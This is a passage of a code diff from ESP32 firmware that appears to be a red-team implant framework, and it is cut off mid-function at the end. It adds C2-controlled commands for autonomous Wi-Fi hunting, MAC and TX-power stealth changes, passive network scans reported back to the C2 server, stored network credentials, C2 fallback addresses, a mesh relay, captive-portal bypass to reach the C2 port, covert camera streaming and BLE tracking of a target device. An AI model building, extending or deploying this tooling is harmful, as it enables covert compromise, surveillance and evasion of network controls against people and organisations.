"partition=%s boot=%s version=%s idf=%s",
running ? running->label : "?",
boot ? boot->label : "?",
app_desc.version,
app_desc.idf_ver
);
msg_info(TAG, buf, req);
return ESP_OK;
}
/* ============================================================
* COMMAND REGISTRATION
* ============================================================ */
static const command_t ota_cmds[] = {
{ "ota_update", NULL, "OTA update from HTTPS URL", 1, 1, cmd_ota_update, NULL, true },
{ "ota_status", NULL, "Current firmware info", 0, 0, cmd_ota_status, NULL, false },
};
void mod_ota_register_commands(void)
{
ESPILON_LOGI_PURPLE(TAG, "Registering OTA commands");
for (size_t i = 0; i < sizeof(ota_cmds) / sizeof(ota_cmds[0]); i++) {
command_register(&ota_cmds[i]);
}
}
#endif /* CONFIG_ESPILON_OTA_ENABLED */

View File

@ -0,0 +1,3 @@
#pragma once
void mod_ota_register_commands(void);

View File

@ -1,13 +1,36 @@
idf_component_register(
SRCS
"mod_cam.c"
# "mod_trilat.c" # Disabled for now - needs BT config
INCLUDE_DIRS
"."
REQUIRES
command
esp_wifi
nvs_flash
esp_http_client
espressif__esp32-camera
)
set(RECON_SRCS "")
if(CONFIG_RECON_MODE_CAMERA)
list(APPEND RECON_SRCS "mod_cam.c")
endif()
if(CONFIG_RECON_MODE_MLAT)
list(APPEND RECON_SRCS "mod_mlat.c")
endif()
# mod_trilat.c: legacy BLE trilateration (requires full BT stack)
# Uncomment if needed with CONFIG_BT_ENABLED=y
# list(APPEND RECON_SRCS "mod_trilat.c")
if(NOT RECON_SRCS)
# No active recon sub-modules register as header-only component
idf_component_register(
INCLUDE_DIRS "."
)
else()
set(RECON_REQUIRES core esp_wifi nvs_flash)
if(CONFIG_RECON_MODE_CAMERA)
list(APPEND RECON_REQUIRES esp_http_client espressif__esp32-camera)
endif()
if(CONFIG_RECON_MODE_MLAT)
list(APPEND RECON_REQUIRES esp_timer)
endif()
idf_component_register(
SRCS ${RECON_SRCS}
INCLUDE_DIRS "."
REQUIRES ${RECON_REQUIRES}
)
endif()

View File

@ -16,7 +16,7 @@
#include <errno.h>
#include <ctype.h>
#include "command.h"
#include "esp_heap_caps.h"
#include "utils.h"
/* ============================================================
@ -53,8 +53,8 @@ static bool camera_initialized = false;
static int udp_sock = -1;
static struct sockaddr_in dest_addr;
/* ⚠️ à passer en Kconfig plus tard */
static const char *token = "Sup3rS3cretT0k3n";
/* Camera UDP authentication token (from Kconfig) */
static const char *token = CONFIG_CAMERA_UDP_TOKEN;
/* ============================================================
* CAMERA INIT
@ -84,11 +84,20 @@ static bool init_camera(void)
.pixel_format = PIXFORMAT_JPEG,
.frame_size = FRAMESIZE_QQVGA,
.jpeg_quality = 20,
.fb_count = 2,
.fb_location = CAMERA_FB_IN_PSRAM,
.fb_count = 1,
.fb_location = CAMERA_FB_IN_DRAM,
.grab_mode = CAMERA_GRAB_LATEST
};
/* Use PSRAM if available (requires bootloader with SPIRAM support) */
if (heap_caps_get_total_size(MALLOC_CAP_SPIRAM) > 0) {
cfg.fb_location = CAMERA_FB_IN_PSRAM;
cfg.fb_count = 2;
ESP_LOGI(TAG, "PSRAM available, using 2 frame buffers");
} else {
ESP_LOGW(TAG, "No PSRAM, using DRAM with 1 frame buffer");
}
if (esp_camera_init(&cfg) != ESP_OK) {
msg_error(TAG, "camera init failed", NULL);
return false;
@ -125,9 +134,8 @@ static void udp_stream_task(void *arg)
frame_count++;
size_t num_chunks = (fb->len + MAX_UDP_SIZE - 1) / MAX_UDP_SIZE;
/* DEBUG: Log frame info every 10 frames */
if (frame_count % 10 == 1) {
ESP_LOGI(TAG, "frame #%lu: %u bytes, %u chunks, sock=%d",
ESP_LOGD(TAG, "frame #%lu: %u bytes, %u chunks, sock=%d",
frame_count, fb->len, num_chunks, udp_sock);
}

View File

@ -45,7 +45,6 @@
#include "esp_wifi.h"
#include "esp_event.h"
#include "command.h"
#include "utils.h"
#if defined(CONFIG_RECON_MODE_MLAT)

View File

@ -17,7 +17,6 @@
#include "esp_http_client.h"
#include "command.h"
#include "utils.h"
/* ============================================================
@ -184,24 +183,25 @@ static void ble_init(void)
/* ============================================================
* COMMANDS
* ============================================================ */
static esp_err_t cmd_trilat_start(int argc, char **argv, void *ctx)
static esp_err_t cmd_trilat_start(int argc, char **argv, const char *request_id, void *ctx)
{
if (argc != 4)
return msg_error(TAG, "usage: trilat start <mac> <url> <bearer>", NULL);
if (argc != 3)
return msg_error(TAG, "usage: trilat start <mac> <url> <bearer>", request_id);
if (trilat_running)
return msg_error(TAG, "already running", NULL);
return msg_error(TAG, "already running", request_id);
ESP_ERROR_CHECK(nvs_flash_init());
if (!parse_mac_str(argv[1], target_mac))
return msg_error(TAG, "invalid MAC", NULL);
if (!parse_mac_str(argv[0], target_mac))
return msg_error(TAG, "invalid MAC", request_id);
strncpy(target_url, argv[2], MAX_LEN-1);
strncpy(auth_bearer, argv[3], MAX_LEN-1);
strncpy(target_url, argv[1], MAX_LEN-1);
strncpy(auth_bearer, argv[2], MAX_LEN-1);
snprintf(auth_header, sizeof(auth_header), "Bearer %s", auth_bearer);
buffer_mutex = xSemaphoreCreateMutex();
if (!buffer_mutex)
buffer_mutex = xSemaphoreCreateMutex();
data_buffer[0] = 0;
buffer_len = 0;
@ -211,19 +211,19 @@ static esp_err_t cmd_trilat_start(int argc, char **argv, void *ctx)
trilat_running = true;
xTaskCreate(post_task, "trilat_post", 4096, NULL, 5, &post_task_handle);
msg_info(TAG, "trilat started", NULL);
msg_info(TAG, "trilat started", request_id);
return ESP_OK;
}
static esp_err_t cmd_trilat_stop(int argc, char **argv, void *ctx)
static esp_err_t cmd_trilat_stop(int argc, char **argv, const char *request_id, void *ctx)
{
if (!trilat_running)
return msg_error(TAG, "not running", NULL);
return msg_error(TAG, "not running", request_id);
trilat_running = false;
esp_ble_gap_stop_scanning();
msg_info(TAG, "trilat stopped", NULL);
msg_info(TAG, "trilat stopped", request_id);
return ESP_OK;
}
@ -237,8 +237,8 @@ static const command_t cmd_trilat_start_def = {
.handler = cmd_trilat_start,
.ctx = NULL,
.async = false,
.min_args = 4,
.max_args = 4
.min_args = 3,
.max_args = 3
};
static const command_t cmd_trilat_stop_def = {
@ -248,8 +248,8 @@ static const command_t cmd_trilat_stop_def = {
.handler = cmd_trilat_stop,
.ctx = NULL,
.async = false,
.min_args = 2,
.max_args = 2
.min_args = 0,
.max_args = 0
};
void mod_ble_trilat_register_commands(void)

View File

@ -0,0 +1,5 @@
idf_component_register(
SRCS cmd_redteam.c rt_config.c rt_hunt.c rt_stealth.c rt_captive.c rt_mesh.c
INCLUDE_DIRS .
REQUIRES core nvs_flash lwip esp_wifi freertos esp_timer
)

View File

@ -0,0 +1,319 @@
/*
* cmd_redteam.c
* Red Team resilient connectivity 7 C2 commands.
*/
#include "sdkconfig.h"
#include "cmd_redteam.h"
#ifdef CONFIG_MODULE_REDTEAM
#include <string.h>
#include <stdio.h>
#include "esp_log.h"
#include "utils.h"
#include "rt_config.h"
#include "rt_hunt.h"
#include "rt_stealth.h"
#include "rt_mesh.h"
#define TAG "RT"
/* ============================================================
* COMMAND: rt_hunt [auto]
* Start the hunt. "auto" = enable auto-trigger on TCP failure.
* ============================================================ */
static int cmd_rt_hunt(int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
if (rt_hunt_is_active()) {
msg_info(TAG, "Hunt already running", req);
return 0;
}
rt_hunt_trigger();
msg_info(TAG, "Hunt started", req);
return 0;
}
/* ============================================================
* COMMAND: rt_stop
* Stop hunt, restore WiFi + MAC + TX power.
* ============================================================ */
static int cmd_rt_stop(int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
if (!rt_hunt_is_active()) {
msg_info(TAG, "Hunt not running", req);
return 0;
}
rt_hunt_stop();
msg_info(TAG, "Hunt stopped, WiFi restored", req);
return 0;
}
/* ============================================================
* COMMAND: rt_status
* Report state, SSID, method, MAC, TX power.
* ============================================================ */
static int cmd_rt_status(int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
rt_state_t state = rt_hunt_get_state();
uint8_t mac[6];
rt_stealth_get_current_mac(mac);
char buf[256];
snprintf(buf, sizeof(buf),
"state=%s ssid=%s method=%s mac=%02X:%02X:%02X:%02X:%02X:%02X"
" nets=%d c2_fb=%d mesh=%s",
rt_hunt_state_name(state),
rt_hunt_connected_ssid(),
rt_hunt_connected_method(),
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5],
rt_config_net_count(),
rt_config_c2_count(),
rt_mesh_is_running() ? "on" : "off");
msg_info(TAG, buf, req);
return 0;
}
/* ============================================================
* COMMAND: rt_scan
* WiFi scan + report results to C2 (recon).
* ============================================================ */
static int cmd_rt_scan(int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
msg_info(TAG, "Passive scan starting...", req);
#ifdef CONFIG_RT_STEALTH
int found = rt_stealth_passive_scan(3000);
rt_scan_ap_t aps[RT_MAX_SCAN_APS];
int count = rt_stealth_get_scan_results(aps, RT_MAX_SCAN_APS);
for (int i = 0; i < count; i++) {
char line[128];
snprintf(line, sizeof(line),
"AP: %s ch=%d rssi=%d auth=%d bssid=%02X:%02X:%02X:%02X:%02X:%02X",
aps[i].ssid, aps[i].channel, aps[i].rssi, aps[i].auth_mode,
aps[i].bssid[0], aps[i].bssid[1], aps[i].bssid[2],
aps[i].bssid[3], aps[i].bssid[4], aps[i].bssid[5]);
msg_data(TAG, line, strlen(line), (i == count - 1), req);
}
char summary[64];
snprintf(summary, sizeof(summary), "Scan done: %d APs found", found);
msg_info(TAG, summary, req);
#else
msg_info(TAG, "Stealth not enabled, using active scan", req);
/* TODO: fallback to esp_wifi_scan_start() */
#endif
return 0;
}
/* ============================================================
* COMMAND: rt_net_add <ssid> <pass>
* Add/update a known network. Pass "" to remove.
* ============================================================ */
static int cmd_rt_net_add(int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
if (argc < 1) {
msg_error(TAG, "usage: rt_net_add <ssid> [pass]", req);
return -1;
}
const char *ssid = argv[0];
const char *pass = (argc >= 2) ? argv[1] : "";
/* Empty string for pass means "remove" */
if (argc >= 2 && strcmp(pass, "\"\"") == 0) {
if (rt_config_net_remove(ssid)) {
char buf[96];
snprintf(buf, sizeof(buf), "Removed network '%s'", ssid);
msg_info(TAG, buf, req);
} else {
msg_error(TAG, "Network not found", req);
}
return 0;
}
if (rt_config_net_add(ssid, pass)) {
char buf[96];
snprintf(buf, sizeof(buf), "Added network '%s'", ssid);
msg_info(TAG, buf, req);
} else {
msg_error(TAG, "Failed to add network (full?)", req);
}
return 0;
}
/* ============================================================
* COMMAND: rt_net_list
* List known networks.
* ============================================================ */
static int cmd_rt_net_list(int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
rt_network_t nets[CONFIG_RT_MAX_KNOWN_NETWORKS];
int count = rt_config_net_list(nets, CONFIG_RT_MAX_KNOWN_NETWORKS);
if (count == 0) {
msg_info(TAG, "No known networks", req);
return 0;
}
for (int i = 0; i < count; i++) {
char line[128];
snprintf(line, sizeof(line), "[%d] ssid='%s' pass=%s",
i, nets[i].ssid,
nets[i].pass[0] ? "***" : "(open)");
msg_data(TAG, line, strlen(line), (i == count - 1), req);
}
return 0;
}
/* ============================================================
* COMMAND: rt_mesh <start|stop>
* Enable/disable ESP-NOW mesh relay.
* ============================================================ */
static int cmd_rt_mesh(int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
if (argc < 1) {
msg_error(TAG, "usage: rt_mesh <start|stop>", req);
return -1;
}
#ifdef CONFIG_RT_MESH
if (strcmp(argv[0], "start") == 0) {
if (rt_mesh_is_running()) {
msg_info(TAG, "Mesh already running", req);
} else if (rt_mesh_start()) {
msg_info(TAG, "Mesh relay started", req);
} else {
msg_error(TAG, "Mesh start failed", req);
}
} else if (strcmp(argv[0], "stop") == 0) {
rt_mesh_stop();
msg_info(TAG, "Mesh relay stopped", req);
} else {
msg_error(TAG, "usage: rt_mesh <start|stop>", req);
}
#else
msg_error(TAG, "ESP-NOW mesh not enabled (CONFIG_RT_MESH)", req);
#endif
return 0;
}
/* ============================================================
* Command table
* ============================================================ */
static const command_t rt_cmds[] = {
{
.name = "rt_hunt",
.sub = NULL,
.help = "Start autonomous network hunt",
.min_args = 0,
.max_args = 1,
.handler = (command_handler_t)cmd_rt_hunt,
.ctx = NULL,
.async = true,
},
{
.name = "rt_stop",
.sub = NULL,
.help = "Stop hunt, restore WiFi/MAC/TX",
.min_args = 0,
.max_args = 0,
.handler = (command_handler_t)cmd_rt_stop,
.ctx = NULL,
.async = false,
},
{
.name = "rt_status",
.sub = NULL,
.help = "Hunt state, MAC, method, config",
.min_args = 0,
.max_args = 0,
.handler = (command_handler_t)cmd_rt_status,
.ctx = NULL,
.async = false,
},
{
.name = "rt_scan",
.sub = NULL,
.help = "Passive WiFi scan + report to C2",
.min_args = 0,
.max_args = 0,
.handler = (command_handler_t)cmd_rt_scan,
.ctx = NULL,
.async = true,
},
{
.name = "rt_net_add",
.sub = NULL,
.help = "Add known network: rt_net_add <ssid> [pass]",
.min_args = 1,
.max_args = 2,
.handler = (command_handler_t)cmd_rt_net_add,
.ctx = NULL,
.async = false,
},
{
.name = "rt_net_list",
.sub = NULL,
.help = "List known networks",
.min_args = 0,
.max_args = 0,
.handler = (command_handler_t)cmd_rt_net_list,
.ctx = NULL,
.async = false,
},
{
.name = "rt_mesh",
.sub = NULL,
.help = "ESP-NOW mesh relay: rt_mesh <start|stop>",
.min_args = 1,
.max_args = 1,
.handler = (command_handler_t)cmd_rt_mesh,
.ctx = NULL,
.async = false,
},
};
/* ============================================================
* Registration
* ============================================================ */
void mod_redteam_register_commands(void)
{
ESPILON_LOGI_PURPLE(TAG, "Registering red team commands");
rt_config_init();
rt_config_save_orig_mac();
for (size_t i = 0; i < sizeof(rt_cmds) / sizeof(rt_cmds[0]); i++) {
command_register(&rt_cmds[i]);
}
}
#else /* !CONFIG_MODULE_REDTEAM */
void mod_redteam_register_commands(void) { /* empty */ }
#endif /* CONFIG_MODULE_REDTEAM */

View File

@ -0,0 +1,8 @@
/*
* cmd_redteam.h
* Red Team resilient connectivity module.
* Compiled as empty when CONFIG_MODULE_REDTEAM is not set.
*/
#pragma once
void mod_redteam_register_commands(void);

View File

@ -0,0 +1,291 @@
/*
* rt_captive.c
* Captive portal detection and bypass strategies.
*
* Detection: HTTP GET to connectivitycheck.gstatic.com/generate_204
* - 204 = no portal (internet open)
* - 200/302 = captive portal detected
* - Connection failed = unknown
*
* Bypass strategies (in order):
* 1. Direct C2 port often not intercepted by portals
* 2. POST accept parse 302 redirect, POST to portal accept URL
* 3. Wait + retry some portals open after DNS traffic
*/
#include "sdkconfig.h"
#include "rt_captive.h"
#ifdef CONFIG_MODULE_REDTEAM
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include "esp_log.h"
#include "lwip/sockets.h"
#include "lwip/netdb.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "utils.h"
static const char *TAG = "RT_CAPTIVE";
#define CAPTIVE_TIMEOUT_S 5
#define CAPTIVE_RX_BUF 512
/* ============================================================
* Raw HTTP request to check connectivity
* ============================================================ */
/* Resolve hostname to IP */
static bool resolve_host(const char *host, struct in_addr *out)
{
struct addrinfo hints = {0};
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
struct addrinfo *res = NULL;
int err = lwip_getaddrinfo(host, NULL, &hints, &res);
if (err != 0 || !res) {
ESP_LOGW(TAG, "DNS resolve failed for '%s'", host);
return false;
}
struct sockaddr_in *addr = (struct sockaddr_in *)res->ai_addr;
*out = addr->sin_addr;
lwip_freeaddrinfo(res);
return true;
}
/* Send raw HTTP GET, return HTTP status code (0 on failure) */
static int http_get_status(const char *host, int port, const char *path,
char *location_out, size_t location_cap)
{
struct in_addr ip;
if (!resolve_host(host, &ip)) return 0;
int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
if (s < 0) return 0;
struct timeval tv = { .tv_sec = CAPTIVE_TIMEOUT_S, .tv_usec = 0 };
lwip_setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
struct sockaddr_in addr = {0};
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr = ip;
if (lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
lwip_close(s);
return 0;
}
/* Send HTTP request */
char req[256];
int req_len = snprintf(req, sizeof(req),
"GET %s HTTP/1.0\r\n"
"Host: %s\r\n"
"Connection: close\r\n"
"User-Agent: Mozilla/5.0\r\n"
"\r\n",
path, host);
if (lwip_write(s, req, req_len) <= 0) {
lwip_close(s);
return 0;
}
/* Read response header */
char buf[CAPTIVE_RX_BUF];
int total = 0;
int len;
while (total < (int)sizeof(buf) - 1) {
len = lwip_recv(s, buf + total, sizeof(buf) - 1 - total, 0);
if (len <= 0) break;
total += len;
/* Stop after headers (double CRLF) */
buf[total] = '\0';
if (strstr(buf, "\r\n\r\n")) break;
}
lwip_close(s);
if (total == 0) return 0;
buf[total] = '\0';
/* Parse status code: "HTTP/1.x NNN ..." */
int status = 0;
char *sp = strchr(buf, ' ');
if (sp) {
status = atoi(sp + 1);
}
/* Extract Location header if present (for 302 redirects) */
if (location_out && location_cap > 0) {
location_out[0] = '\0';
char *loc = strstr(buf, "Location: ");
if (!loc) loc = strstr(buf, "location: ");
if (loc) {
loc += 10; /* skip "Location: " */
char *end = strstr(loc, "\r\n");
if (end) {
size_t copy_len = end - loc;
if (copy_len >= location_cap) copy_len = location_cap - 1;
memcpy(location_out, loc, copy_len);
location_out[copy_len] = '\0';
}
}
}
return status;
}
/* ============================================================
* Captive portal detection
* ============================================================ */
rt_portal_status_t rt_captive_detect(void)
{
ESP_LOGI(TAG, "Checking for captive portal...");
int status = http_get_status(
"connectivitycheck.gstatic.com", 80,
"/generate_204", NULL, 0);
if (status == 204) {
ESP_LOGI(TAG, "No captive portal (got 204)");
return RT_PORTAL_NONE;
}
if (status == 200 || status == 302 || status == 301) {
ESP_LOGW(TAG, "Captive portal detected (HTTP %d)", status);
return RT_PORTAL_DETECTED;
}
if (status == 0) {
/* Try alternative check endpoint */
status = http_get_status(
"captive.apple.com", 80,
"/hotspot-detect.html", NULL, 0);
if (status == 200) {
/* Apple endpoint returns 200 with "Success" if no portal */
/* and 200 with redirect content if portal — tricky */
/* For now, assume it's potentially a portal */
ESP_LOGW(TAG, "Apple check returned 200 — may be portal");
return RT_PORTAL_DETECTED;
}
ESP_LOGW(TAG, "Connectivity check failed (no response)");
return RT_PORTAL_UNKNOWN;
}
ESP_LOGW(TAG, "Unexpected status %d — assuming portal", status);
return RT_PORTAL_DETECTED;
}
/* ============================================================
* Captive portal bypass
* ============================================================ */
bool rt_captive_bypass(void)
{
ESP_LOGI(TAG, "Attempting captive portal bypass...");
/* Strategy 1: Direct C2 port
* Most captive portals only intercept 80/443.
* Our C2 is on port 2626 might go through. */
{
int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
if (s >= 0) {
struct timeval tv = { .tv_sec = CAPTIVE_TIMEOUT_S, .tv_usec = 0 };
lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
struct sockaddr_in addr = {0};
addr.sin_family = AF_INET;
addr.sin_port = htons(CONFIG_SERVER_PORT);
addr.sin_addr.s_addr = inet_addr(CONFIG_SERVER_IP);
if (lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr)) == 0) {
lwip_close(s);
ESP_LOGI(TAG, "Bypass: direct C2 port %d reachable!", CONFIG_SERVER_PORT);
return true;
}
lwip_close(s);
}
ESP_LOGW(TAG, "Bypass strategy 1 (direct C2 port) failed");
}
/* Strategy 2: POST accept
* Get the redirect URL from the portal, POST to accept. */
{
char location[256] = {0};
int status = http_get_status(
"connectivitycheck.gstatic.com", 80,
"/generate_204", location, sizeof(location));
if ((status == 302 || status == 301) && location[0]) {
ESP_LOGI(TAG, "Portal redirect to: %s", location);
/* Parse host from location URL */
/* Expected format: http://host/path or https://host/path */
char *host_start = strstr(location, "://");
if (host_start) {
host_start += 3;
char *path_start = strchr(host_start, '/');
char host_buf[64] = {0};
if (path_start) {
size_t hlen = path_start - host_start;
if (hlen >= sizeof(host_buf)) hlen = sizeof(host_buf) - 1;
memcpy(host_buf, host_start, hlen);
} else {
strncpy(host_buf, host_start, sizeof(host_buf) - 1);
path_start = "/";
}
/* Try to just GET the portal page (some portals auto-accept) */
int p_status = http_get_status(host_buf, 80, path_start, NULL, 0);
ESP_LOGI(TAG, "Portal page status: %d", p_status);
/* Check if we now have internet */
vTaskDelay(pdMS_TO_TICKS(2000));
int check = http_get_status(
"connectivitycheck.gstatic.com", 80,
"/generate_204", NULL, 0);
if (check == 204) {
ESP_LOGI(TAG, "Bypass: portal auto-accepted!");
return true;
}
}
}
ESP_LOGW(TAG, "Bypass strategy 2 (POST accept) failed");
}
/* Strategy 3: Wait + retry
* Some portals open after seeing DNS traffic. Wait 10s. */
{
ESP_LOGI(TAG, "Bypass strategy 3: waiting 10s...");
vTaskDelay(pdMS_TO_TICKS(10000));
int status = http_get_status(
"connectivitycheck.gstatic.com", 80,
"/generate_204", NULL, 0);
if (status == 204) {
ESP_LOGI(TAG, "Bypass: portal opened after wait!");
return true;
}
ESP_LOGW(TAG, "Bypass strategy 3 (wait) failed");
}
msg_info(TAG, "All captive portal bypass strategies failed", NULL);
return false;
}
#else /* !CONFIG_MODULE_REDTEAM */
rt_portal_status_t rt_captive_detect(void) { return RT_PORTAL_UNKNOWN; }
bool rt_captive_bypass(void) { return false; }
#endif /* CONFIG_MODULE_REDTEAM */

View File

@ -0,0 +1,30 @@
/*
* rt_captive.h
* Captive portal detection and bypass strategies.
*/
#pragma once
#include <stdbool.h>
#ifdef __cplusplus
extern "C" {
#endif
typedef enum {
RT_PORTAL_NONE, /* No captive portal — internet is open */
RT_PORTAL_DETECTED, /* Captive portal detected (302 or non-204) */
RT_PORTAL_UNKNOWN, /* Couldn't determine (connection failed) */
} rt_portal_status_t;
/* Check for captive portal via HTTP 204 connectivity test.
* Returns portal status. */
rt_portal_status_t rt_captive_detect(void);
/* Attempt to bypass a detected captive portal.
* Tries strategies in order: direct C2 port, POST accept, wait+retry.
* Returns true if C2 is reachable after bypass. */
bool rt_captive_bypass(void);
#ifdef __cplusplus
}
#endif

View File

@ -0,0 +1,383 @@
/*
* rt_config.c
* NVS-backed storage for known WiFi networks and C2 fallback addresses.
*/
#include "sdkconfig.h"
#include "rt_config.h"
#ifdef CONFIG_MODULE_REDTEAM
#include <string.h>
#include <stdio.h>
#include "nvs_flash.h"
#include "nvs.h"
#include "esp_log.h"
#include "esp_wifi.h"
static const char *TAG = "RT_CFG";
static const char *NVS_NS = "rt_cfg";
/* ============================================================
* Init
* ============================================================ */
void rt_config_init(void)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err == ESP_OK) {
nvs_close(h);
ESP_LOGI(TAG, "NVS namespace '%s' ready", NVS_NS);
} else {
ESP_LOGE(TAG, "NVS open failed: %s", esp_err_to_name(err));
}
}
/* ============================================================
* Known WiFi networks
* ============================================================ */
static void net_key_ssid(int idx, char *out, size_t len)
{
snprintf(out, len, "n_%d", idx);
}
static void net_key_pass(int idx, char *out, size_t len)
{
snprintf(out, len, "p_%d", idx);
}
int rt_config_net_count(void)
{
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
return 0;
int32_t count = 0;
nvs_get_i32(h, "rt_count", &count);
nvs_close(h);
return (int)count;
}
int rt_config_net_list(rt_network_t *out, int max_count)
{
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
return 0;
int32_t count = 0;
nvs_get_i32(h, "rt_count", &count);
if (count > max_count) count = max_count;
if (count > CONFIG_RT_MAX_KNOWN_NETWORKS) count = CONFIG_RT_MAX_KNOWN_NETWORKS;
char key[16];
for (int i = 0; i < count; i++) {
memset(&out[i], 0, sizeof(rt_network_t));
net_key_ssid(i, key, sizeof(key));
size_t len = RT_SSID_MAX_LEN;
nvs_get_str(h, key, out[i].ssid, &len);
net_key_pass(i, key, sizeof(key));
len = RT_PASS_MAX_LEN;
nvs_get_str(h, key, out[i].pass, &len);
}
nvs_close(h);
return (int)count;
}
bool rt_config_net_add(const char *ssid, const char *pass)
{
if (!ssid || !ssid[0]) return false;
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
return false;
int32_t count = 0;
nvs_get_i32(h, "rt_count", &count);
/* Check if SSID already exists → update */
char key[16];
for (int i = 0; i < count; i++) {
net_key_ssid(i, key, sizeof(key));
char existing[RT_SSID_MAX_LEN] = {0};
size_t len = RT_SSID_MAX_LEN;
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
if (strcmp(existing, ssid) == 0) {
/* Update password */
net_key_pass(i, key, sizeof(key));
nvs_set_str(h, key, pass ? pass : "");
nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Updated network '%s'", ssid);
return true;
}
}
}
/* New entry */
if (count >= CONFIG_RT_MAX_KNOWN_NETWORKS) {
nvs_close(h);
ESP_LOGW(TAG, "Known networks full (%d)", (int)count);
return false;
}
net_key_ssid(count, key, sizeof(key));
nvs_set_str(h, key, ssid);
net_key_pass(count, key, sizeof(key));
nvs_set_str(h, key, pass ? pass : "");
count++;
nvs_set_i32(h, "rt_count", count);
nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Added network '%s' (total: %d)", ssid, (int)count);
return true;
}
bool rt_config_net_remove(const char *ssid)
{
if (!ssid || !ssid[0]) return false;
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
return false;
int32_t count = 0;
nvs_get_i32(h, "rt_count", &count);
int found = -1;
char key[16];
for (int i = 0; i < count; i++) {
net_key_ssid(i, key, sizeof(key));
char existing[RT_SSID_MAX_LEN] = {0};
size_t len = RT_SSID_MAX_LEN;
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
if (strcmp(existing, ssid) == 0) {
found = i;
break;
}
}
}
if (found < 0) {
nvs_close(h);
return false;
}
/* Shift entries down to fill the gap */
for (int i = found; i < count - 1; i++) {
char src_key[16], dst_key[16];
char buf[RT_PASS_MAX_LEN];
size_t len;
/* Copy SSID[i+1] → SSID[i] */
net_key_ssid(i + 1, src_key, sizeof(src_key));
net_key_ssid(i, dst_key, sizeof(dst_key));
len = RT_SSID_MAX_LEN;
memset(buf, 0, sizeof(buf));
nvs_get_str(h, src_key, buf, &len);
nvs_set_str(h, dst_key, buf);
/* Copy PASS[i+1] → PASS[i] */
net_key_pass(i + 1, src_key, sizeof(src_key));
net_key_pass(i, dst_key, sizeof(dst_key));
len = RT_PASS_MAX_LEN;
memset(buf, 0, sizeof(buf));
nvs_get_str(h, src_key, buf, &len);
nvs_set_str(h, dst_key, buf);
}
/* Erase last entries — reuse key[16] from above */
net_key_ssid(count - 1, key, sizeof(key));
nvs_erase_key(h, key);
net_key_pass(count - 1, key, sizeof(key));
nvs_erase_key(h, key);
count--;
nvs_set_i32(h, "rt_count", count);
nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Removed network '%s' (total: %d)", ssid, (int)count);
return true;
}
/* ============================================================
* C2 fallback addresses
* ============================================================ */
int rt_config_c2_count(void)
{
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
return 0;
int32_t count = 0;
nvs_get_i32(h, "c2_count", &count);
nvs_close(h);
return (int)count;
}
int rt_config_c2_list(rt_c2_addr_t *out, int max_count)
{
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
return 0;
int32_t count = 0;
nvs_get_i32(h, "c2_count", &count);
if (count > max_count) count = max_count;
if (count > CONFIG_RT_MAX_C2_FALLBACKS) count = CONFIG_RT_MAX_C2_FALLBACKS;
for (int i = 0; i < count; i++) {
memset(&out[i], 0, sizeof(rt_c2_addr_t));
char key[16];
snprintf(key, sizeof(key), "c2_%d", i);
size_t len = RT_ADDR_MAX_LEN;
nvs_get_str(h, key, out[i].addr, &len);
}
nvs_close(h);
return (int)count;
}
bool rt_config_c2_add(const char *addr)
{
if (!addr || !addr[0]) return false;
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
return false;
int32_t count = 0;
nvs_get_i32(h, "c2_count", &count);
/* Check duplicate */
for (int i = 0; i < count; i++) {
char key[16];
snprintf(key, sizeof(key), "c2_%d", i);
char existing[RT_ADDR_MAX_LEN] = {0};
size_t len = RT_ADDR_MAX_LEN;
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
if (strcmp(existing, addr) == 0) {
nvs_close(h);
return true; /* Already exists */
}
}
}
if (count >= CONFIG_RT_MAX_C2_FALLBACKS) {
nvs_close(h);
ESP_LOGW(TAG, "C2 fallbacks full (%d)", (int)count);
return false;
}
char key[16];
snprintf(key, sizeof(key), "c2_%d", (int)count);
nvs_set_str(h, key, addr);
count++;
nvs_set_i32(h, "c2_count", count);
nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Added C2 fallback '%s' (total: %d)", addr, (int)count);
return true;
}
bool rt_config_c2_remove(const char *addr)
{
if (!addr || !addr[0]) return false;
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
return false;
int32_t count = 0;
nvs_get_i32(h, "c2_count", &count);
int found = -1;
for (int i = 0; i < count; i++) {
char key[16];
snprintf(key, sizeof(key), "c2_%d", i);
